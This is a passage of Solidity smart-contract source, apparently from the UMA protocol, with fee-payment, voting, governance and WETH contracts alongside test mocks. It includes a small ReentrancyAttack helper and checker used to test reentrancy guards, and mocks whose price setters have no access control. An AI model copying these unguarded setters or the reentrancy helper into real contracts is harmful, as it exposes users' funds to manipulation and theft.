price. function setPrice(uint256 newPrice) external { price = newPrice; } } contract FixedPointTest { using FixedPoint for FixedPoint.Unsigned; using FixedPoint for uint256; using SafeMath for uint256; function wrapFromUnscaledUint(uint256 a) external pure returns (uint256) { return FixedPoint.fromUnscaledUint(a).rawValue; } function wrapIsEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isEqual(FixedPoint.Unsigned(b)); } function wrapMixedIsEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isEqual(b); } function wrapIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isGreaterThan(FixedPoint.Unsigned(b)); } function wrapIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isGreaterThanOrEqual(FixedPoint.Unsigned(b)); } function wrapMixedIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isGreaterThan(b); } function wrapMixedIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isGreaterThanOrEqual(b); } function wrapMixedIsGreaterThanOpposite(uint256 a, uint256 b) external pure returns (bool) { return a.isGreaterThan(FixedPoint.Unsigned(b)); } function wrapMixedIsGreaterThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) { return a.isGreaterThanOrEqual(FixedPoint.Unsigned(b)); } function wrapIsLessThan(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isLessThan(FixedPoint.Unsigned(b)); } function wrapIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isLessThanOrEqual(FixedPoint.Unsigned(b)); } function wrapMixedIsLessThan(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isLessThan(b); } function wrapMixedIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isLessThanOrEqual(b); } function wrapMixedIsLessThanOpposite(uint256 a, uint256 b) external pure returns (bool) { return a.isLessThan(FixedPoint.Unsigned(b)); } function wrapMixedIsLessThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) { return a.isLessThanOrEqual(FixedPoint.Unsigned(b)); } function wrapMin(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).min(FixedPoint.Unsigned(b)).rawValue; } function wrapMax(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).max(FixedPoint.Unsigned(b)).rawValue; } function wrapAdd(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).add(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedAdd(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).add(b).rawValue; } function wrapSub(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).sub(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedSub(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).sub(b).rawValue; } // The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedSubOpposite(uint256 a, uint256 b) external pure returns (uint256) { return a.sub(FixedPoint.Unsigned(b)).rawValue; } function wrapMul(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).mul(FixedPoint.Unsigned(b)).rawValue; } function wrapMulCeil(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).mulCeil(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedMul(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).mul(b).rawValue; } function wrapMixedMulCeil(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).mulCeil(b).rawValue; } function wrapDiv(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).div(FixedPoint.Unsigned(b)).rawValue; } function wrapDivCeil(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).divCeil(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedDiv(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).div(b).rawValue; } function wrapMixedDivCeil(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).divCeil(b).rawValue; } // The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedDivOpposite(uint256 a, uint256 b) external pure returns (uint256) { return a.div(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapPow(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).pow(b).rawValue; } } contract MultiRoleTest is MultiRole { function createSharedRole( uint256 roleId, uint256 managingRoleId, address[] calldata initialMembers ) external { _createSharedRole(roleId, managingRoleId, initialMembers); } function createExclusiveRole( uint256 roleId, uint256 managingRoleId, address initialMember ) external { _createExclusiveRole(roleId, managingRoleId, initialMember); } // solhint-disable-next-line no-empty-blocks function revertIfNotHoldingRole(uint256 roleId) external view onlyRoleHolder(roleId) {} } contract OneSplitMock is OneSplit { address constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; mapping(bytes32 => uint256) prices; receive() external payable {} // Sets price of 1 FROM = <PRICE> TO function setPrice( address from, address to, uint256 price ) external { prices[keccak256(abi.encodePacked(from, to))] = price; } function getExpectedReturn( address fromToken, address destToken, uint256 amount, uint256 parts, uint256 flags // See constants in IOneSplit.sol ) public override view returns (uint256 returnAmount, uint256[] memory distribution) { returnAmount = prices[keccak256(abi.encodePacked(fromToken, destToken))] * amount; return (returnAmount, distribution); } function swap( address fromToken, address destToken, uint256 amount, uint256 minReturn, uint256[] memory distribution, uint256 flags ) public override payable returns (uint256 returnAmount) { uint256 amountReturn = prices[keccak256(abi.encodePacked(fromToken, destToken))] * amount; require(amountReturn >= minReturn, "Min Amount not reached"); if (destToken == ETH_ADDRESS) { msg.sender.transfer(amountReturn); } else { require(IERC20(destToken).transfer(msg.sender, amountReturn), "erc20-send-failed"); } } } contract ReentrancyAttack { function callSender(bytes4 data) public { // solhint-disable-next-line avoid-low-level-calls (bool success, ) = msg.sender.call(abi.encodeWithSelector(data)); require(success, "ReentrancyAttack: failed call"); } } contract ReentrancyChecker { bytes public txnData; bool hasBeenCalled; // Used to prevent infinite cycles where the reentrancy is cycled forever. modifier skipIfReentered { if (hasBeenCalled) { return; } hasBeenCalled = true; _; hasBeenCalled = false; } function setTransactionData(bytes memory _txnData) public { txnData = _txnData; } function _executeCall( address to, uint256 value, bytes memory data ) private returns (bool success) { // Mostly copied from: // solhint-disable-next-line max-line-length // https://github.com/gnosis/safe-contracts/blob/59cfdaebcd8b87a0a32f87b50fead092c10d3a05/contracts/base/Executor.sol#L23-L31 // solhint-disable-next-line no-inline-assembly assembly { let inputData := add(data, 0x20) let inputDataSize := mload(data) success := call(gas(), to, value, inputData, inputDataSize, 0, 0) } } fallback() external skipIfReentered { // Attampt to re-enter with the set txnData. bool success = _executeCall(msg.sender, 0, txnData); // Fail if the call succeeds because that means the re-entrancy was successful. require(!success, "Re-entrancy was successful"); } } contract ReentrancyMock is Lockable { uint256 public counter; constructor() public { counter = 0; } function callback() external nonReentrant { _count(); } function countAndSend(ReentrancyAttack attacker) external nonReentrant { _count(); bytes4 func = bytes4(keccak256("callback()")); attacker.callSender(func); } function countAndCall(ReentrancyAttack attacker) external nonReentrant { _count(); bytes4 func = bytes4(keccak256("getCount()")); attacker.callSender(func); } function countLocalRecursive(uint256 n) public nonReentrant { if (n > 0) { _count(); countLocalRecursive(n - 1); } } function countThisRecursive(uint256 n) public nonReentrant { if (n > 0) { _count(); // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(abi.encodeWithSignature("countThisRecursive(uint256)", n - 1)); require(success, "ReentrancyMock: failed call"); } } function countLocalCall() public nonReentrant { getCount(); } function countThisCall() public nonReentrant { // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(abi.encodeWithSignature("getCount()")); require(success, "ReentrancyMock: failed call"); } function getCount() public view nonReentrantView returns (uint256) { return counter; } function _count() private { counter += 1; } } contract TestableTest is Testable { // solhint-disable-next-line no-empty-blocks constructor(address _timerAddress) public Testable(_timerAddress) {} function getTestableTimeAndBlockTime() external view returns (uint256 testableTime, uint256 blockTime) { // solhint-disable-next-line not-rely-on-time return (getCurrentTime(), now); } } contract UniswapMock is Uniswap { function setPrice(uint112 reserve0, uint112 reserve1) external { emit Sync(reserve0, reserve1); } } contract WithdrawableTest is Withdrawable { enum Roles { Governance, Withdraw } // solhint-disable-next-line no-empty-blocks constructor() public { _createExclusiveRole(uint256(Roles.Governance), uint256(Roles.Governance), msg.sender); _createWithdrawRole(uint256(Roles.Withdraw), uint256(Roles.Governance), msg.sender); } function pay() external payable { require(msg.value > 0); } function setInternalWithdrawRole(uint256 setRoleId) public { _setWithdrawRole(setRoleId); } } abstract contract FeePayer is Testable, Lockable { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using SafeERC20 for IERC20; /**************************************** * FEE PAYER DATA STRUCTURES * ****************************************/ // The collateral currency used to back the positions in this contract. IERC20 public collateralCurrency; // Finder contract used to look up addresses for UMA system contracts. FinderInterface public finder; // Tracks the last block time when the fees were paid. uint256 private lastPaymentTime; // Tracks the cumulative fees that have been paid by the contract for use by derived contracts. // The multiplier starts at 1, and is updated by computing cumulativeFeeMultiplier * (1 - effectiveFee). // Put another way, the cumulativeFeeMultiplier is (1 - effectiveFee1) * (1 - effectiveFee2) ... // For example: // The cumulativeFeeMultiplier should start at 1. // If a 1% fee is charged, the multiplier should update to .99. // If another 1% fee is charged, the multiplier should be 0.99^2 (0.9801). FixedPoint.Unsigned public cumulativeFeeMultiplier; /**************************************** * EVENTS * ****************************************/ event RegularFeesPaid(uint256 indexed regularFee, uint256 indexed lateFee); event FinalFeesPaid(uint256 indexed amount); /**************************************** * MODIFIERS * ****************************************/ // modifier that calls payRegularFees(). modifier fees { payRegularFees(); _; } /** * @notice Constructs the FeePayer contract. Called by child contracts. * @param _collateralAddress ERC20 token that is used as the underlying collateral for the synthetic. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor( address _collateralAddress, address _finderAddress, address _timerAddress ) public Testable(_timerAddress) nonReentrant() { collateralCurrency = IERC20(_collateralAddress); finder = FinderInterface(_finderAddress); lastPaymentTime = getCurrentTime(); cumulativeFeeMultiplier = FixedPoint.fromUnscaledUint(1); } /**************************************** * FEE PAYMENT FUNCTIONS * ****************************************/ /** * @notice Pays UMA DVM regular fees (as a % of the collateral pool) to the Store contract. * @dev These must be paid periodically for the life of the contract. If the contract has not paid its regular fee * in a week or more then a late penalty is applied which is sent to the caller. If the amount of * fees owed are greater than the pfc, then this will pay as much as possible from the available collateral. * An event is only fired if the fees charged are greater than 0. * @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller). * This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0. */ function payRegularFees() public nonReentrant() returns (FixedPoint.Unsigned memory totalPaid) { StoreInterface store = _getStore(); uint256 time = getCurrentTime(); FixedPoint.Unsigned memory collateralPool = _pfc(); // Exit early if there is no collateral from which to pay fees. if (collateralPool.isEqual(0)) { return totalPaid; } // Exit early if fees were already paid during this block. if (lastPaymentTime == time) { return totalPaid; } (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty) = store.computeRegularFee( lastPaymentTime, time, collateralPool ); lastPaymentTime = time; totalPaid = regularFee.add(latePenalty); if (totalPaid.isEqual(0)) { return totalPaid; } // If the effective fees paid as a % of the pfc is > 100%, then we need to reduce it and make the contract pay // as much of the fee that it can (up to 100% of its pfc). We'll reduce the late penalty first and then the // regular fee, which has the effect of paying the store first, followed by the caller if there is any fee remaining. if (totalPaid.isGreaterThan(collateralPool)) { FixedPoint.Unsigned memory deficit = totalPaid.sub(collateralPool); FixedPoint.Unsigned memory latePenaltyReduction = FixedPoint.min(latePenalty, deficit); latePenalty = latePenalty.sub(latePenaltyReduction); deficit = deficit.sub(latePenaltyReduction); regularFee = regularFee.sub(FixedPoint.min(regularFee, deficit)); totalPaid = collateralPool; } emit RegularFeesPaid(regularFee.rawValue, latePenalty.rawValue); _adjustCumulativeFeeMultiplier(totalPaid, collateralPool); if (regularFee.isGreaterThan(0)) { collateralCurrency.safeIncreaseAllowance(address(store), regularFee.rawValue); store.payOracleFeesErc20(address(collateralCurrency), regularFee); } if (latePenalty.isGreaterThan(0)) { collateralCurrency.safeTransfer(msg.sender, latePenalty.rawValue); } return totalPaid; } /** * @notice Gets the current profit from corruption for this contract in terms of the collateral currency. * @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are * expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC. * @return pfc value for equal to the current profit from corruption denominated in collateral currency. */ function pfc() public view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _pfc(); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // Pays UMA Oracle final fees of `amount` in `collateralCurrency` to the Store contract. Final fee is a flat fee // charged for each price request. If payer is the contract, adjusts internal bookkeeping variables. If payer is not // the contract, pulls in `amount` of collateral currency. function _payFinalFees(address payer, FixedPoint.Unsigned memory amount) internal { if (amount.isEqual(0)) { return; } if (payer != address(this)) { // If the payer is not the contract pull the collateral from the payer. collateralCurrency.safeTransferFrom(payer, address(this), amount.rawValue); } else { // If the payer is the contract, adjust the cumulativeFeeMultiplier to compensate. FixedPoint.Unsigned memory collateralPool = _pfc(); // The final fee must be < available collateral or the fee will be larger than 100%. require(collateralPool.isGreaterThan(amount), "Final fee is more than PfC"); _adjustCumulativeFeeMultiplier(amount, collateralPool); } emit FinalFeesPaid(amount.rawValue); StoreInterface store = _getStore(); collateralCurrency.safeIncreaseAllowance(address(store), amount.rawValue); store.payOracleFeesErc20(address(collateralCurrency), amount); } function _pfc() internal virtual view returns (FixedPoint.Unsigned memory); function _getStore() internal view returns (StoreInterface) { return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store)); } function _computeFinalFees() internal view returns (FixedPoint.Unsigned memory finalFees) { StoreInterface store = _getStore(); return store.computeFinalFee(address(collateralCurrency)); } // Returns the user's collateral minus any fees that have been subtracted since it was originally // deposited into the contract. Note: if the contract has paid fees since it was deployed, the raw // value should be larger than the returned value. function _getFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral) internal view returns (FixedPoint.Unsigned memory collateral) { return rawCollateral.mul(cumulativeFeeMultiplier); } // Converts a user-readable collateral value into a raw value that accounts for already-assessed fees. If any fees // have been taken from this contract in the past, then the raw value will be larger than the user-readable value. function _convertToRawCollateral(FixedPoint.Unsigned memory collateral) internal view returns (FixedPoint.Unsigned memory rawCollateral) { return collateral.div(cumulativeFeeMultiplier); } // Decrease rawCollateral by a fee-adjusted collateralToRemove amount. Fee adjustment scales up collateralToRemove // by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore // rawCollateral is decreased by less than expected. Because this method is usually called in conjunction with an // actual removal of collateral from this contract, return the fee-adjusted amount that the rawCollateral is // decreased by so that the caller can minimize error between collateral removed and rawCollateral debited. function _removeCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToRemove) internal returns (FixedPoint.Unsigned memory removedCollateral) { FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral); FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToRemove); rawCollateral.rawValue = rawCollateral.sub(adjustedCollateral).rawValue; removedCollateral = initialBalance.sub(_getFeeAdjustedCollateral(rawCollateral)); } // Increase rawCollateral by a fee-adjusted collateralToAdd amount. Fee adjustment scales up collateralToAdd // by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore // rawCollateral is increased by less than expected. Because this method is usually called in conjunction with an // actual addition of collateral to this contract, return the fee-adjusted amount that the rawCollateral is // increased by so that the caller can minimize error between collateral added and rawCollateral credited. // NOTE: This return value exists only for the sake of symmetry with _removeCollateral. We don't actually use it // because we are OK if more collateral is stored in the contract than is represented by rawTotalPositionCollateral. function _addCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToAdd) internal returns (FixedPoint.Unsigned memory addedCollateral) { FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral); FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToAdd); rawCollateral.rawValue = rawCollateral.add(adjustedCollateral).rawValue; addedCollateral = _getFeeAdjustedCollateral(rawCollateral).sub(initialBalance); } // Scale the cumulativeFeeMultiplier by the ratio of fees paid to the current available collateral. function _adjustCumulativeFeeMultiplier(FixedPoint.Unsigned memory amount, FixedPoint.Unsigned memory currentPfc) internal { FixedPoint.Unsigned memory effectiveFee = amount.divCeil(currentPfc); cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveFee)); } } contract TokenFactory is Lockable { /** * @notice Create a new token and return it to the caller. * @dev The caller will become the only minter and burner and the new owner capable of assigning the roles. * @param tokenName used to describe the new token. * @param tokenSymbol short ticker abbreviation of the name. Ideally < 5 chars. * @param tokenDecimals used to define the precision used in the token's numerical representation. * @return newToken an instance of the newly created token interface. */ function createToken( string calldata tokenName, string calldata tokenSymbol, uint8 tokenDecimals ) external nonReentrant() returns (ExpandedIERC20 newToken) { SyntheticToken mintableToken = new SyntheticToken(tokenName, tokenSymbol, tokenDecimals); mintableToken.addMinter(msg.sender); mintableToken.addBurner(msg.sender); mintableToken.resetOwner(msg.sender); newToken = ExpandedIERC20(address(mintableToken)); } } contract WETH9 { string public name = "Wrapped Ether"; string public symbol = "WETH"; uint8 public decimals = 18; event Approval(address indexed src, address indexed guy, uint256 wad); event Transfer(address indexed src, address indexed dst, uint256 wad); event Deposit(address indexed dst, uint256 wad); event Withdrawal(address indexed src, uint256 wad); mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; receive() external payable { deposit(); } fallback() external payable { deposit(); } function deposit() public payable { balanceOf[msg.sender] += msg.value; emit Deposit(msg.sender, msg.value); } function withdraw(uint256 wad) public { require(balanceOf[msg.sender] >= wad); balanceOf[msg.sender] -= wad; msg.sender.transfer(wad); emit Withdrawal(msg.sender, wad); } function totalSupply() public view returns (uint256) { return address(this).balance; } function approve(address guy, uint256 wad) public returns (bool) { allowance[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } function transfer(address dst, uint256 wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom( address src, address dst, uint256 wad ) public returns (bool) { require(balanceOf[src] >= wad); if (src != msg.sender && allowance[src][msg.sender] != uint256(-1)) { require(allowance[src][msg.sender] >= wad); allowance[src][msg.sender] -= wad; } balanceOf[src] -= wad; balanceOf[dst] += wad; emit Transfer(src, dst, wad); return true; } } library ExpiringMultiPartyLib { /** * @notice Returns address of new EMP deployed with given `params` configuration. * @dev Caller will need to register new EMP with the Registry to begin requesting prices. Caller is also * responsible for enforcing constraints on `params`. * @param params is a `ConstructorParams` object from ExpiringMultiParty. * @return address of the deployed ExpiringMultiParty contract */ function deploy(ExpiringMultiParty.ConstructorParams memory params) public returns (address) { ExpiringMultiParty derivative = new ExpiringMultiParty(params); return address(derivative); } } library OracleInterfaces { bytes32 public constant Oracle = "Oracle"; bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist"; bytes32 public constant Store = "Store"; bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin"; bytes32 public constant Registry = "Registry"; bytes32 public constant CollateralWhitelist = "CollateralWhitelist"; } abstract contract ContractCreator { address internal finderAddress; constructor(address _finderAddress) public { finderAddress = _finderAddress; } function _requireWhitelistedCollateral(address collateralAddress) internal view { FinderInterface finder = FinderInterface(finderAddress); AddressWhitelist collateralWhitelist = AddressWhitelist( finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist) ); require(collateralWhitelist.isOnWhitelist(collateralAddress), "Collateral not whitelisted"); } function _registerContract(address[] memory parties, address contractToRegister) internal { FinderInterface finder = FinderInterface(finderAddress); Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry)); registry.registerContract(parties, contractToRegister); } } contract DesignatedVoting is Withdrawable { /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Owner, // Can set the Voter role. Is also permanently permissioned as the minter role. Voter // Can vote through this contract. } // Reference to the UMA Finder contract, allowing Voting upgrades to be performed // without requiring any calls to this contract. FinderInterface private finder; /** * @notice Construct the DesignatedVoting contract. * @param finderAddress keeps track of all contracts within the system based on their interfaceName. * @param ownerAddress address of the owner of the DesignatedVoting contract. * @param voterAddress address to which the owner has delegated their voting power. */ constructor( address finderAddress, address ownerAddress, address voterAddress ) public { _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), ownerAddress); _createExclusiveRole(uint256(Roles.Voter), uint256(Roles.Owner), voterAddress); _setWithdrawRole(uint256(Roles.Owner)); finder = FinderInterface(finderAddress); } /**************************************** * VOTING AND REWARD FUNCTIONALITY * ****************************************/ /** * @notice Forwards a commit to Voting. * @param identifier uniquely identifies the feed for this vote. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price being voted on. * @param hash the keccak256 hash of the price you want to vote for and a random integer salt value. */ function commitVote( bytes32 identifier, uint256 time, bytes32 hash ) external onlyRoleHolder(uint256(Roles.Voter)) { _getVotingAddress().commitVote(identifier, time, hash); } /** * @notice Forwards a batch commit to Voting. * @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`. */ function batchCommit(VotingInterface.Commitment[] calldata commits) external onlyRoleHolder(uint256(Roles.Voter)) { _getVotingAddress().batchCommit(commits); } /** * @notice Forwards a reveal to Voting. * @param identifier voted on in the commit phase. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price being voted on. * @param price used along with the `salt` to produce the `hash` during the commit phase. * @param salt used along with the `price` to produce the `hash` during the commit phase. */ function revealVote( bytes32 identifier, uint256 time, int256 price, int256 salt ) external onlyRoleHolder(uint256(Roles.Voter)) { _getVotingAddress().revealVote(identifier, time, price, salt); } /** * @notice Forwards a batch reveal to Voting. * @param reveals is an array of the Reveal struct which contains an identifier, time, price and salt. */ function batchReveal(VotingInterface.Reveal[] calldata reveals) external onlyRoleHolder(uint256(Roles.Voter)) { _getVotingAddress().batchReveal(reveals); } /** * @notice Forwards a reward retrieval to Voting. * @dev Rewards are added to the tokens already held by this contract. * @param roundId defines the round from which voting rewards will be retrieved from. * @param toRetrieve an array of PendingRequests which rewards are retrieved from. * @return amount of rewards that the user should receive. */ function retrieveRewards(uint256 roundId, VotingInterface.PendingRequest[] memory toRetrieve) public onlyRoleHolder(uint256(Roles.Voter)) returns (FixedPoint.Unsigned memory) { return _getVotingAddress().retrieveRewards(address(this), roundId, toRetrieve); } function _getVotingAddress() private view returns (VotingInterface) { return VotingInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } } contract DesignatedVotingFactory is Withdrawable { /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Withdrawer // Can withdraw any ETH or ERC20 sent accidentally to this contract. } address private finder; mapping(address => DesignatedVoting) public designatedVotingContracts; /** * @notice Construct the DesignatedVotingFactory contract. * @param finderAddress keeps track of all contracts within the system based on their interfaceName. */ constructor(address finderAddress) public { finder = finderAddress; _createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Withdrawer), msg.sender); } /** * @notice Deploys a new `DesignatedVoting` contract. * @param ownerAddress defines who will own the deployed instance of the designatedVoting contract. * @return designatedVoting a new DesignatedVoting contract. */ function newDesignatedVoting(address ownerAddress) external returns (DesignatedVoting) { require(address(designatedVotingContracts[msg.sender]) == address(0), "Duplicate hot key not permitted"); DesignatedVoting designatedVoting = new DesignatedVoting(finder, ownerAddress, msg.sender); designatedVotingContracts[msg.sender] = designatedVoting; return designatedVoting; } /** * @notice Associates a `DesignatedVoting` instance with `msg.sender`. * @param designatedVotingAddress address to designate voting to. * @dev This is generally only used if the owner of a `DesignatedVoting` contract changes their `voter` * address and wants that reflected here. */ function setDesignatedVoting(address designatedVotingAddress) external { require(address(designatedVotingContracts[msg.sender]) == address(0), "Duplicate hot key not permitted"); designatedVotingContracts[msg.sender] = DesignatedVoting(designatedVotingAddress); } } contract FinancialContractsAdmin is Ownable { /** * @notice Calls emergency shutdown on the provided financial contract. * @param financialContract address of the FinancialContract to be shut down. */ function callEmergencyShutdown(address financialContract) external onlyOwner { AdministrateeInterface administratee = AdministrateeInterface(financialContract); administratee.emergencyShutdown(); } /** * @notice Calls remargin on the provided financial contract. * @param financialContract address of the FinancialContract to be remargined. */ function callRemargin(address financialContract) external onlyOwner { AdministrateeInterface administratee = AdministrateeInterface(financialContract); administratee.remargin(); } } contract Governor is MultiRole, Testable { using SafeMath for uint256; using Address for address; /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Owner, // Can set the proposer. Proposer // Address that can make proposals. } struct Transaction { address to; uint256 value; bytes data; } struct Proposal { Transaction[] transactions; uint256 requestTime; } FinderInterface private finder; Proposal[] public proposals; /**************************************** * EVENTS * ****************************************/ // Emitted when a new proposal is created. event NewProposal(uint256 indexed id, Transaction[] transactions); // Emitted when an existing proposal is executed. event ProposalExecuted(uint256 indexed id, uint256 transactionIndex); /** * @notice Construct the Governor contract. * @param _finderAddress keeps track of all contracts within the system based on their interfaceName. * @param _startingId the initial proposal id that the contract will begin incrementing from. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor( address _finderAddress, uint256 _startingId, address _timerAddress ) public Testable(_timerAddress) { finder = FinderInterface(_finderAddress); _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender); _createExclusiveRole(uint256(Roles.Proposer), uint256(Roles.Owner), msg.sender); // Ensure the startingId is not set unreasonably high to avoid it being set such that new proposals overwrite // other storage slots in the contract. uint256 maxStartingId = 10**18; require(_startingId <= maxStartingId, "Cannot set startingId larger than 10^18"); // This just sets the initial length of the array to the startingId since modifying length directly has been // disallowed in solidity 0.6. assembly { sstore(proposals_slot, _startingId) } } /**************************************** * PROPOSAL ACTIONS * ****************************************/ /** * @notice Proposes a new governance action. Can only be called by the holder of the Proposer role. * @param transactions list of transactions that are being proposed. * @dev You can create the data portion of each transaction by doing the following: * ``` * const truffleContractInstance = await TruffleContract.deployed() * const data = truffleContractInstance.methods.methodToCall(arg1, arg2).encodeABI() * ``` * Note: this method must be public because of a solidity limitation that * disallows structs arrays to be passed to external functions. */ function propose(Transaction[] memory transactions) public onlyRoleHolder(uint256(Roles.Proposer)) { uint256 id = proposals.length; uint256 time = getCurrentTime(); // Note: doing all of this array manipulation manually is necessary because directly setting an array of // structs in storage to an an array of structs in memory is currently not implemented in solidity :/. // Add a zero-initialized element to the proposals array. proposals.push(); // Initialize the new proposal. Proposal storage proposal = proposals[id]; proposal.requestTime = time; // Initialize the transaction array. for (uint256 i = 0; i < transactions.length; i++) { require(transactions[i].to != address(0), "The `to` address cannot be 0x0"); // If the transaction has any data with it the recipient must be a contract, not an EOA. if (transactions[i].data.length > 0) { require(transactions[i].to.isContract(), "EOA can't accept tx with data"); } proposal.transactions.push(transactions[i]); } bytes32 identifier = _constructIdentifier(id); // Request a vote on this proposal in the DVM. OracleInterface oracle = _getOracle(); IdentifierWhitelistInterface supportedIdentifiers = _getIdentifierWhitelist(); supportedIdentifiers.addSupportedIdentifier(identifier); oracle.requestPrice(identifier, time); supportedIdentifiers.removeSupportedIdentifier(identifier); emit NewProposal(id, transactions); } /** * @notice Executes a proposed governance action that has been approved by voters. * @dev This can be called by any address. Caller is expected to send enough ETH to execute payable transactions. * @param id unique id for the executed proposal. * @param transactionIndex unique transaction index for the executed proposal. */ function executeProposal(uint256 id, uint256 transactionIndex) external payable { Proposal storage proposal = proposals[id]; int256 price = _getOracle().getPrice(_constructIdentifier(id), proposal.requestTime); Transaction memory transaction = proposal.transactions[transactionIndex]; require( transactionIndex == 0 || proposal.transactions[transactionIndex.sub(1)].to == address(0), "Previous tx not yet executed" ); require(transaction.to != address(0), "Tx already executed"); require(price != 0, "Proposal was rejected"); require(msg.value == transaction.value, "Must send exact amount of ETH"); // Delete the transaction before execution to avoid any potential re-entrancy issues. delete proposal.transactions[transactionIndex]; require(_executeCall(transaction.to, transaction.value, transaction.data), "Tx execution failed"); emit ProposalExecuted(id, transactionIndex); } /**************************************** * GOVERNOR STATE GETTERS * ****************************************/ /** * @notice Gets the total number of proposals (includes executed and non-executed). * @return uint256 representing the current number of proposals. */ function numProposals() external view returns (uint256) { return proposals.length; } /** * @notice Gets the proposal data for a particular id. * @dev after a proposal is executed, its data will be zeroed out, except for the request time. * @param id uniquely identify the identity of the proposal. * @return proposal struct containing transactions[] and requestTime. */ function getProposal(uint256 id) external view returns (Proposal memory) { return proposals[id]; } /**************************************** * PRIVATE GETTERS AND FUNCTIONS * ****************************************/ function _executeCall( address to, uint256 value, bytes memory data ) private returns (bool) { // Mostly copied from: // solhint-disable-next-line max-line-length // 